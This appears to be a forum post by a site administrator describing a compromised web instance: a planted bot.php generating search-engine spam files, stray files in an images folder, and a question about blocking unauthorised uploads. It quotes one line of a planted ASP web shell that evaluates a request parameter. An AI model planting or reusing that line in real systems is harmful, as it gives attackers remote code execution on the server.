Unfortunately I cannot go back to a previous state of my instance, too much content updated on some other web sites of the instance.

Anyway, I found a bot.php file in the root  repository. This file seems to generate php file in a "temp" directory. The hack just create dedicated content for the search engine robot. In the "temp"This php file are named like this "0dc382c2459fcbef61865edc8d4971f1", with no extension and have php and html code (for Search Engine robot). They are generated at least 10 time per day.

For 1 of my instances, I removed the bot.php file from my instance, but file a file asp is still created with this content : (__what_the_fuck_<%response.write(now):eval request("-1007190869")%>)

 I also found in the "images" directory, 3 files, index.php, web.config and html_temp.txt.

I will remove them and see what happened.

What I need to check and change to avoid people can't upload files on my file system?

Thanks.